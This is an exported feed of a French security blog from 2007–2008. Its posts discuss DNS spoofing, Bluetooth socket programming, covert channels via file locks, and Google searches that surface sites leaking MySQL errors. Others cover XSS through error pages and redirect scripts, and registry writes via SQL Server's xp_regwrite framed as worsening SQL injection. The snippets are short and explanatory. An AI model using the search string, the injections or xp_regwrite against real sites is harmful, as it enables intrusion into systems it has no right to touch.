href="http://1.bp.blogspot.com/_ch7WAv-Jmeo/R63oMovntQI/AAAAAAAAAA8/foyNEO0yP0k/s1600-h/blogspot2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_ch7WAv-Jmeo/R63oMovntQI/AAAAAAAAAA8/foyNEO0yP0k/s400/blogspot2.png" alt="" id="BLOGGER_PHOTO_ID_5165039651457053954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Je ne sais pas encore comment réagir à cela... Une précaution est de mettre le nom de domaine en noscript dans votre navigateur.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-5435793163864159974?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/5435793163864159974/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=5435793163864159974&amp;isPopup=true' title='3 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/5435793163864159974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/5435793163864159974'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/02/confiance.html' title='Confiance'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_ch7WAv-Jmeo/R63paIvntRI/AAAAAAAAABE/J0GT31h7hmQ/s72-c/blogspot.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6202821816137240209</id><published>2008-01-25T19:57:00.001+01:00</published><updated>2008-04-21T01:51:59.461+02:00</updated><title type='text'>Vous êtes bien au 72.14.207.191 et autres joies du DNS</title><content type='html'>&lt;div style="text-align: justify;"&gt;Premier post de l'année 2008, je sais, le précédent remonte à un moment maintenant... J'en profite donc pour attaquer d'autant plus vite le sujet (merveilleuse introduction, vous admettrez!)&lt;br /&gt;&lt;br /&gt;&lt;s&gt;La mode&lt;/s&gt; les travaux du GnuCitizen de ces derniers jours sont tournés autour d' attaques au niveau de protocoles réseaux au sens strict, plus que web apps comme auparavant. Les deux ne sont pas complètement distincts non plus mais cela est une autre histoire (intéressante). Après quelques frappantes recherches concernant l'UPnP, voilà au tour du DNS de passer entre leurs neurones affutés. &amp;lt;/éloges&amp;gt;&lt;br /&gt;&lt;br /&gt;Le sujet me passionnant, à mon tour de m'essayer à la chose, sans aucune prétention de rivaliser.&lt;br /&gt;&lt;br /&gt;Le protocole DNS (Domain Name Service) est, pour mémoire, ce protocole qui permet de transformer &lt;span style="font-style: italic;"&gt;"hatch-the-hitch.blogspot.com"&lt;/span&gt; en &lt;span style="font-style: italic;"&gt;"72.14.207.191"&lt;/span&gt;. En effet vos applications n'ont strictement rien à faire de l'url, et votre mémoire de l'adresse ip (à moins d'une pulsion de consulter mon site sur un réseau aux DNS en panne mais bon là c'est pas pareil!). Cette résolution de noms se fait en envoyant une requête à un serveur, lequel transmet à d'autres serveurs DNS etc... jusqu'à l'obtention de l'adresse ou d'une erreur. Dans les deux cas la réponse remonte ensuite au client.&lt;br /&gt;&lt;br /&gt;Ensuite il y a le mauvais élève, mDNS, pour multicast DNS, ou les requêts sont envoyées en broadcast 255.255.255.255, et répond qui veux (oui, le méchant pirate au fond de la salle, tu veux répondre?). Les produits Apple ou la Xbox360 utiliseraient ce protocole.&lt;br /&gt;&lt;br /&gt;Un autre point notable est que ces communications se font via des paquets UDP, forgeables sans problèmes aucun par un utilisateur. Par contre les serveurs sont sur les ports 53, il faut donc être root pour les binder. Cela ne constitue pas un obstacle majeur étant donné, je le répète que n'importe quel utilisateur d'une machine connectée au réseau pourra forger des fausses réponses.&lt;br /&gt;&lt;br /&gt;Forger des réponses DNS? Rien ne protège le client? Serions-nous alors face à un protocole infernal, pure invention du malin, voir d'un hippie? Non quand même pas. Lors d'une requête, la demande d'informations est "signée" d'un octet aléatoire. La réponse reprend le même octet. Bon, il s'entend qu'un bête sniffer permet de bypasser la chose. Ensuite un petit DOS sur le "vrai" serveur DNS et vous voila le roi du monde, un peu!&lt;br /&gt;&lt;br /&gt;Le contrôle du traffic DNS d'un réseau se révèle quasiment synonyme du contrôle du réseau. En effet, il permet d'attaquer sur tous les fronts. Phishing, modification à la volée de pages web, à l'aide d'un serveur distant, Mitm attacks, dénis de service... je m'arrête là!&lt;br /&gt;&lt;br /&gt;Les serveurs DNS sont donc des organes à protéger. Il existe différentes solutions pour cela. La plus "pratique" est l'utilisation d'IDS tels que SNORT. Ces logiciels peuvent détecter une attaque autour du protocole DNS. Charge à l'administrateur de prendre les mesures adaptées.&lt;br /&gt;Une autre peut être la mise en place d'une architecture &lt;a href="http://www.dnssec.net/"&gt;dnssec&lt;/a&gt; qui permet en autre d'éliminer les risques de DNS cache poisoning.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6202821816137240209?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6202821816137240209/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6202821816137240209&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6202821816137240209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6202821816137240209'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2008/01/vous-tes-bien-au-7214207191-et-autres.html' title='Vous êtes bien au 72.14.207.191 et autres joies du DNS'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-148604651655403237</id><published>2007-12-21T23:00:00.001+01:00</published><updated>2008-04-21T01:54:42.990+02:00</updated><title type='text'>Programmation bluetooth sous Gnu/Linux</title><content type='html'>&lt;div style="text-align: justify;"&gt;Fiou! Voici enfin terminé le premier semestre (et sa fin pour le moins chaotique). Nous voila donc à quelques jours des traditionnelles fêtes de fin d'année. Fêtes au cours desquelles des millions de personnes vont s'adonner au "plaisir d'offrir, joie de recevoir". Et parmis les présents échangés se trouveront une foule d'objets high-tech, autement communicants, et sans fils, il s'entend!&lt;br /&gt;&lt;br /&gt;Depuis quelques jours une idée me trotte donc dans la tête (au détriment de mes examens :'(), celle de l'écriture d'un petit framework d'exploration des réseaux bluetooth environnants. Je ne parle pas ici de sniffers (même si me connaissant j'y reviendrais, hcidump est déjà installé!). Mais plutôt d'une exploration active.&lt;br /&gt;&lt;br /&gt;En effet le protocole bluetooth spécifie que les appareils, en plus de contenir un code spécifique à leur constructeur, renferment et peuvent communiquer leur complète description (les services qu'ils hébergent, des détails sur leur mode de communication etc...)&lt;br /&gt;Hmm, appétissant non? Alors imaginez qu'en plus j'apprends que la pile bluetooth de linux (&lt;a href="http://www.bluez.org/"&gt;bluez&lt;/a&gt;) est la plus solide et la meilleure implémentation (en ce qu'elle permet au programmeur un accès aux couches bas niveau du protocole) comment pourrais-je me détourner d'un tel projet?!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je ne suis qu'au début de mes investigations dans ce domaine, mais les nouvelles sont bonnes, toutes les sources font l'apologie de la lib bluez, la programmation client et serveur se fait via les primitives socket() et bind().&lt;br /&gt;&lt;br /&gt;J'ai donc commencé mon apprentissage via un code établissant une liaison série entre deux périphériques. Je ne le copie pas en entier, il est relativement classique pour tout ce qui est des parties qui prennent de la place...&lt;br /&gt;&lt;br /&gt;Je conserve :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &amp;lt;rfcomm.h&amp;gt; /* définition des adresses bluetooth */&lt;br /&gt;&lt;br /&gt;fd = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* CLIENT */&lt;br /&gt;connect(fd, (struct sockaddr *)&amp;amp;sa_rfcomm,&lt;br /&gt;   \ sizeof(struct sockaddr_rc));&lt;br /&gt;&lt;br /&gt;/* SERVEUR */&lt;br /&gt;bind(fd, (struct sockaddr *)&amp;amp;sa_rfcomm,&lt;br /&gt;    \ sizeof(struct sockaddr_rc));&lt;br /&gt;listen(fd, MAX_CONN);&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Rien de spécial pour l'appel à socket() à part que c'est beau. sa_rfcomm est une structure contenant l'adresse du serveur et le canal employé pour communiquer, via send() et recv().&lt;br /&gt;&lt;br /&gt;Pour les plus pressés, l'accès bas niveau se fait en spécifiant les protocoles BTPROTO_HCI ou BTPROTO_L2CAP lors de la création du descripteur de fichier, mais ceci est une autre histoire.&lt;br /&gt;&lt;br /&gt;Histoire qui s'annonce passionnante, au vu de la convergence des menaces et des protections vers l'informatique mobile (j'inclus là téléphones, PDA et consoles de jeu). On peut légitimement penser que cette convergence risque fort de s'accélérer lorsque l'on observe les comportements actuels relatifs à la sécurité. Un Buffer Overflow sur l'iphone, permettant d'executer du code noyau devient quasiment un élément de publicité ("installez ce que vous voulez sur votre Iphone!!"). Ou ces hotspots wifi un peu partout, les logiciels de gestion de finance sur téléphone portable... Toutes ces aberrations sont monnaies courantes. Contrairement aux logiciels antiviraux pour systèmes, tellement rares qu'on peut les considérer comme inexistant!&lt;br /&gt;La lecture des 1200 pages de spécifications du protocole constitue une bonne explication quant à l'existence de nombreuses implémentations buggées.&lt;br /&gt;&lt;br /&gt;Bref, de là à voir le bluetooth fricoter avec le metasploit framework comme le fait le wifi depuis la V3.0 il n'y a qu'un pas, qui sera sans doute franchi relativement rapidement...&lt;br /&gt;&lt;br /&gt;Je releaserais mes codes ici au fur et à mesure de l'avancement du projet.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-148604651655403237?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/148604651655403237/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=148604651655403237&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/148604651655403237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/148604651655403237'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/12/programmation-bluetooth-sous-gnulinux.html' title='Programmation bluetooth sous Gnu/Linux'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6868282161436768414</id><published>2007-12-08T10:16:00.000+01:00</published><updated>2007-12-21T23:00:06.377+01:00</updated><title type='text'>Steganographie -=] part 2 [=-</title><content type='html'>Toujours dans le cadre de nos travaux sur la steganographie, je me suis attaquée à l'écriture d'une implémentation "deux-en-un" de canaux de communication, en local cette fois-ci.&lt;br /&gt;&lt;br /&gt;Ici, l'objectif est de faire communiquer deux applications de manière furtive sur un même ordinateur. Les deux applications ne nécessitant ni des privilèges égaux, ni des privilèges équivalents.&lt;br /&gt;&lt;br /&gt;Le premier type de canal est un "covert storage channel" (je ne connais aucune traduction officielle du terme en français). Cela consiste en le placement d'un verrou posix sur un fichier par une première application. La seconde teste la&lt;br /&gt;présence de ce verrou à intervalle régulier et considère selon les résultats qu'un bit 0 ou 1 lui a été transmis.&lt;br /&gt;&lt;br /&gt;La difficulté réside ici dans la synchronisation des deux processus. Il est possible de la faire via le timestamp, en mettant le processus en sommeil tant que le timestamp n'est pas congru à 0 (mod 5) par exemple...&lt;br /&gt;&lt;br /&gt;Le second canal est un "probalistic channel", il consiste en la mesure d'un phénomène par le processus récepteur, et la modification de la probabilité de réalisation de celui-ci par le processus émetteur.&lt;br /&gt;&lt;br /&gt;Ici, la mesure se fera donc sur le taux de présence du verrou sur un fichier pour 100 tentatives d'accès par exemple. Si celui-ci dépasse un certain seuil (95% par exemple), on considère la réception d'un bit 1, sinon 0.&lt;br /&gt;&lt;br /&gt;L'implémentation utilisera donc la fonction lockf dont voici un extrait de la &lt;a href="http://pwet.fr/man/linux/fonctions_bibliotheques/lockf"&gt;page de man&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#include &lt;unistd.h&gt; int lockf(int fd, int cmd, off_t len);&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;F_TLOCK&lt;br /&gt;Comme F_LOCK mais l'appel n'est pas bloquant,&lt;br /&gt;il renvoie une erreur si le fichier est déjà verrouillé.&lt;br /&gt;&lt;br /&gt;F_ULOCK&lt;br /&gt;Déverrouiller la section indiquée du fichier.&lt;br /&gt;Ceci peut conduire une section verrouillée à&lt;br /&gt;être découpée en deux sections.&lt;br /&gt;&lt;br /&gt;F_TEST&lt;br /&gt;Verifier s'il y a un verrou : l'appel renvoie 0&lt;br /&gt;si la section indiquée est libre ou verrouillée&lt;br /&gt;par le processus appelant, et -1 avec EACCES dans&lt;br /&gt;errno si un autre processus possède le verrou.&lt;br /&gt;&lt;/unistd.h&gt;&lt;/pre&gt;&lt;br /&gt;J'ai entrepris la rédaction d'un code, ce dernier est plutôt simple, mais il s'avère très difficile de synchroniser correctement les deux processus. Les examens ayant grignotés mon temps libre, je suis forcé de remettre à plus tard la release du code...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6868282161436768414?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6868282161436768414/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6868282161436768414&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6868282161436768414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6868282161436768414'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/12/steganographie-part-2.html' title='Steganographie -=] part 2 [=-'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6256340045850406650</id><published>2007-12-03T21:40:00.000+01:00</published><updated>2007-12-03T22:02:04.202+01:00</updated><title type='text'>Je te dis base vulnérable et tu me réponds...</title><content type='html'>...que tu as 2 500 000 résultats en poche!&lt;br /&gt;Car tu t'appelles Google et que tu as indexé une foultitude de pages d'erreurs MYSQL, mettant ainsi à disposition de tous des sites vulnérables avec le nom des tables, la requête erronée, le point d'injection etc...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;u&gt;Googlez donc ceci pour voir:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;You have an error in your SQL syntax;&lt;br /&gt;check the manual that corresponds to your&lt;br /&gt;MySQL server version for the right syntax to use&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Bien sûr les grincheux m'objecteront qu'il y a parmis ces pages recencées pas mal de bruit, de personne qui cherchent à résoudre des problèmes dans leur script ou des manuels de SQL. Néanmoins la proportion de véritables pages d'erreurs, vulnérables, est impressionnante.&lt;br /&gt;&lt;br /&gt;Les plus chanceux font du tout en un en présentant des dizaines d'erreurs sur la même page, dans différentes bases de données. Au cas où le besoin s'en ferait sentir ces erreurs sont recyclables en jolies failles XSS...&lt;br /&gt;&lt;br /&gt;Il n'y a qu'à injecter du javascript dans la requête, lors de l'affichage du message d'erreur le code est inclus dans la page!&lt;br /&gt;&lt;br /&gt;Lancé, il est également possible de rechercher des avertissements de la fonction "include". En scriptant la chose, et en comparant l'URL proposée et la page, on peut trouver, sisi, des failles includes. La même que tout le monde croyait morte et enterrée semble se porter bien...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Convergence vers moi de regards noirs: "pourquoi rechercher des failles ainsi? N'as tu jamais fait d'erreur en programmant? et tout et tout..."&lt;br /&gt;Cette recherche avait deux objectifs, le premier était de tester le comportement de google face à la recherche de pages "d'erreurs dangereuses", et bien il ne réagit pas, contrairement à des recherches de types&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;inurl:"machin_truc.php?var_vuln=" nom_de_l'app_vulnérable&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Là Google mettrait brusquement fin à la recherche avec un message d'alerte (notamment pour lutter contre les malwares exploitant des failles connues comme "zero day").&lt;br /&gt;Ici donc rien...&lt;br /&gt;Le second objectif était de démontrer la terrible dangerosité des applications, surtout sur le web, un peu trop bavardes. Il y a quelques jours, un mode Verbose/Debug zêlé sur Dailymotion a révélé au grand public tout un fichier header, avec IP, logins et passwords internes!&lt;br /&gt;&lt;br /&gt;Même si cacher les sorties d'erreur de ses scripts ne constitue pas une protection en soit, c'est tout de même un minimum, histoire de ne pas hurler à qui voudrait le savoir, que votre site est vulnérable...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6256340045850406650?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6256340045850406650/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6256340045850406650&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6256340045850406650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6256340045850406650'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/12/je-te-dis-base-vulnrable-et-tu-me.html' title='Je te dis base vulnérable et tu me réponds...'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-1004032627658372034</id><published>2007-11-27T18:36:00.001+01:00</published><updated>2007-11-27T18:54:09.530+01:00</updated><title type='text'>Bill brother is watching you!!</title><content type='html'>Petit article juste pour l'insolite. J'ai eu la surprise, il y a quelques jours de voir le distributeur automatique de ma banque m'accueillir via une jolie... Windows Error MessageBox!&lt;br /&gt;Oui oui, il semble bien que les automates (ceux-ci en tout cas...) tournent sous windows. Etrange lorsque l'on sait le niveau de sécurité que ceux-ci requièrent, dit incompatible avec les stratégies de sécurité par l'obscurité, telles que pratiquées par Microsoft.&lt;br /&gt;&lt;br /&gt;Et de retomber dans ce domaine en pleine expansion de la sécurité des noyaux et des systèmes embarqués! Même si les automates banquaires doivent être blindés au moins autant logiciellement que physiquement, connaitre la présence d'un noyau windows à l'intérieur est amusant!&lt;br /&gt;&lt;br /&gt;Aujourd'hui, alors que je m'apprêtais à effectuer une banale opération sur ce même automate, celui-ci eût des ratées, options inaccessibles, ou annulations intempestives des opérations en cours!!&lt;br /&gt;Je ne suis pas resté assez longtemps pour connaitre l'avis des techniciens (en aurais-je seulement eût un?) mais cette mésaventure me fit repenser au noyau qui anime la machine...&lt;br /&gt;&lt;br /&gt;Vous avez dit fiable?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-1004032627658372034?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/1004032627658372034/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=1004032627658372034&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1004032627658372034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1004032627658372034'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/11/bill-brother-is-watching-you.html' title='Bill brother is watching you!!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-3468573813398957548</id><published>2007-11-07T18:51:00.000+01:00</published><updated>2007-11-13T21:57:41.785+01:00</updated><title type='text'>SQL et registre Windows</title><content type='html'>Un jour et un mois se sont écoulés depuis mon article sur la modification de la base de registres&lt;br /&gt;Windows en javascript depuis le browser.&lt;br /&gt;Aucun anniversaire donc, mais une coïncidence me fait revenir sur ce sujet. Je viens de découvrir qu'il était possible de modifier cette base de registres depuis... SQL Server!&lt;br /&gt;&lt;br /&gt;Là encore il existe des méthodes pour lire, écrire et effacer des entrées:&lt;br /&gt;&lt;br /&gt;o xp_regread&lt;br /&gt;o xp_regwrite&lt;br /&gt;o xp_regdeletekey&lt;br /&gt;&lt;br /&gt;&lt;i&gt;xp_regwrite peut par exemple être utilisée ainsi:&lt;br /&gt;Pour mettre la valeur 'Hello' dans la variable&lt;br /&gt;'Msg_hello',d'une clef 'SOFTWARE\Microsoft\any',&lt;br /&gt;'HKEY_ADMINISTRATEUR', il suffit d'éxecuter :&lt;/i&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;EXEC master..xp_regwrite&lt;br /&gt;@rootkey='HKEY_ADMINISTRATEUR',&lt;br /&gt;@key='\\SOFTWARE\\Microsoft\\any',&lt;br /&gt;@value_name='Msg_hello',&lt;br /&gt;@type='REG_SZ',&lt;br /&gt;@value='Hello'&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Bon là tout de suite les injections SQL font un peu plus mal... Malheureusement ces méthodes, si elles sont documentées sur le net, ne le sont apparament pas par Microsoft. Ainsi, n'ayant pas de SQL server sous la main, je ne peux pas les tester. Car je suppose quand même que leur utilisation doit être relativement contrôlée, j'espère...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-3468573813398957548?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/3468573813398957548/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=3468573813398957548&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3468573813398957548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3468573813398957548'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/11/sql-et-registre-windows.html' title='SQL et registre Windows'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4791814268451842831</id><published>2007-11-04T22:29:00.000+01:00</published><updated>2007-11-04T23:28:19.411+01:00</updated><title type='text'>XSS / DOS -- Deux failles pour le prix d'une!</title><content type='html'>Au détour d'un script de redirection je viens de trouver une vulnérabilité sur un site dont je tairais le nom. Après un dizaine de alert('XSS') je compris que la page devait sans doute être réinitialisée à l'infini. Ainsi, l'injection d'un simple : "&gt; provoquait une réactualisation extrêmement rapide de la page, En effet le script de redirection me permettait d'injecter dans les headers!&lt;br /&gt;Et voici à quoi ressemblait le code source de la page :&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;html&amp;gt;&amp;lt;meta HTTP-EQUIV="REFRESH"&lt;br /&gt;CONTENT="0;URL="&amp;gt;/&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ainsi, un script de redirection tout bête, qui prend une url et redirige l'utilisateur dessus se trouve être une ouverture aux attaques par XSS et également un outil de DOS (Denial Of Service, un trop grand nombre de requêtes en peu de temps sature le serveur).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un autre trou dans lequel aiment à se lover les failles XSS est les pages d'erreurs. Nottament ces 404 qui ressortent, sans le filtrer, le referer, ou n'importe quelle information des headers.&lt;br /&gt;&lt;br /&gt;Ceci démontre deux choses, la première est la difficulté de se protéger contre les failles XSS (deux furent découvertes sur le site de papal cette semaine!), la seconde est l'ampleur des attaques qui peuvent être menées via de telles failles, encore considérées par certains comme des failles mineures.&lt;br /&gt;Peut être car les preuves de concept semblent enfantines, ("Qu'ils sont mignons ces hackers avec leurs petites boites de dialogue qui leur disent "Hello" ou "XSS").&lt;br /&gt;&lt;br /&gt;Petit hors sujet pour terminer cet article :&lt;br /&gt;Une XSS dans un webmail est plus qu'ennuyeux, si vous désirez tester la fiabilité du votre, il existe un outil efficace, le &lt;a href="http://h4k.in/mailgun/"&gt;mailgun&lt;/a&gt; de  Mario Heiderich (from Gnucitizen quand même...). Cet outil à utiliser avec prudence tout de même vous envoi un email contenant toute la base de vecteurs XSS du Gnucitizen think-tank!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4791814268451842831?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4791814268451842831/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4791814268451842831&amp;isPopup=true' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4791814268451842831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4791814268451842831'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/11/xss-dos-deux-failles-pour-le-prix-dune.html' title='XSS / DOS -- Deux failles pour le prix d&apos;une!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-3358497842033493815</id><published>2007-11-01T15:25:00.000+01:00</published><updated>2008-12-12T09:40:22.904+01:00</updated><title type='text'>Fingerprinting Windows Vista</title><content type='html'>Que de titres en anglais ces temps-ci! Mais aussi plus d'articles (car plus de temps libre pour tester, coder et écrire). Celui-ci relate une petite découverte que je fis il y a déjà un moment. Lors du débuggage d'un programme réseau, je faisais tourner Wireshark (non je ne parle pas que de sniffers dans mes articles) et je vis apparaitre un flood monstrueux de paquets ARP!&lt;br /&gt;&lt;br /&gt;D'abord quelque peu inquiet, car me revenaient en mémoire ces articles sur l'ARP spoofing etc... mais également intrigué, je décortiquais les paquets reçus.&lt;br /&gt;Il apparût qu'ils provenaient TOUS de 192.168.1.18, le laptop de ma môman, que je ne saurait suspecter de la moindre tentative d'intrusion (surtout sur notre propre réseau)...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ch7WAv-Jmeo/Ryn3kQlEIYI/AAAAAAAAAAs/O0yiBMBOAeA/s1600-h/capt_arp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" 